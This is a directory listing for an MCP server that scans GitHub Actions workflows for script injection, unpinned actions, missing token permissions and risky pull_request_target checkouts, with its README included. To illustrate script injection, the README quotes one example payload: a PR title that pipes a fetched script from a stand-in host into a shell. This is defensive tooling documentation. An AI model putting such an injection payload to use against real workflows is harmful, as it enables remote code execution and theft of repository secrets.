mcpField
G
GitHub Actions Security Audit

GitHub Actions Security Audit

Remote
github.com/tylerscomic-labSecurity0Updated 4w ago
Repository

About GitHub Actions Security Audit

An MCP server for security teams and workflow maintainers to inspect GitHub Actions YAML for common vulnerability patterns. It parses workflow structure and reports findings with locations and concrete fixes.

Key features

  1. 01Detects shell expression injection
  2. 02Finds actions not pinned to commit SHAs
  3. 03Flags missing token permissions
  4. 04Checks pull_request_target with head checkout
  5. 05Reports locations, risks, and fixes

Use cases

  1. 01Review a workflow before merging changes
  2. 02Check a run command for injected expressions

MCP support

Exposes workflow auditing and focused expression-injection checks as tools for MCP clients.

Configuration

Remote servers need no local install. Pick your client, then copy the config or install in one click.

Endpointhttps://github-actions-audit-mcp.mcpize.run/mcp
Copy install command
Claude CodeTerminal
Cursor.cursor/mcp.json
VS Code.vscode/mcp.json
Claude Desktopclaude_desktop_config.json
Windsurf~/.codeium/windsurf/mcp_config.json

Run commands in a terminal; paste JSON into the client’s MCP config and restart. Servers that need sign-in will prompt on first connect.

Tools

Details

From the project README

github-actions-audit-mcp

License: MIT Live on MCPize

An MCP server that audits GitHub Actions workflow YAML for the real vulnerability classes that have caused actual incidents — not a linter, a security scanner. Parses genuine YAML structure (a hand-written block parser scoped to what workflow files actually use), not string/regex matching against the raw file.

What it catches

Script injection. Any ${{ github.event.issue.title }}-style expression that carries attacker-controlled text (issue/PR titles, comments, review bodies, branch names) interpolated directly into a run: shell step. The expression is substituted into the generated shell script before the shell runs it — a PR titled "; curl evil.sh | sh # becomes literal shell syntax, not a string. This is the single most common real-world GitHub Actions vulnerability. Flags the exact expression and shows the env-variable fix that actually neutralizes it.

Unpinned third-party actions. uses: some-action@v4 or @main can be repointed by whoever controls that tag/branch, without you changing a single character in your workflow file — this is exactly what happened in the tj-actions/changed-files compromise (March 2025), where a maintainer's PAT was used to retag v35–v46 to point at a credential-harvesting commit. Only a full 40-character commit SHA is immutable.

Missing permissions: blocks. No explicit permissions: means the GITHUB_TOKEN defaults to whatever your repo/org settings allow — often read-write. If any step is ever compromised, it inherits that full scope.

pull_request_target + head checkout. This trigger runs with the base repo's secrets and a write-scoped token (unlike plain pull_request), and if the workflow also checks out the PR's own head commit, a fork's PR can run arbitrary code with your secrets. Real supply-chain incidents follow this exact pattern.

Tools

audit_workflow

Full audit of a workflow YAML file. Returns a risk level and every finding with its exact location, why it's dangerous, and a concrete fix.

check_expression_injection

Focused check on a single shell command string, for when you just want to sanity-check one run: step without a full workflow file.

Use it

Hosted (recommended): MCPize — free tier, $7/mo Pro.

Self-host:

npm install
node server.js

Part of a small suite

regex-safety-audit-mcp, mcp-trust-audit-mcp, secrets-leak-audit-mcp, dockerfile-audit-mcp.

License

MIT

Comments

Markdown supported

New to MCP?

From what the protocol is to installing your first server, these answers cover most first questions.

An open protocol that defines how AI applications connect to external tools and data in a uniform way. Clients talk to the model; MCP servers provide tools, resources and prompt templates. They exchange standard messages, so one server can be reused by many clients.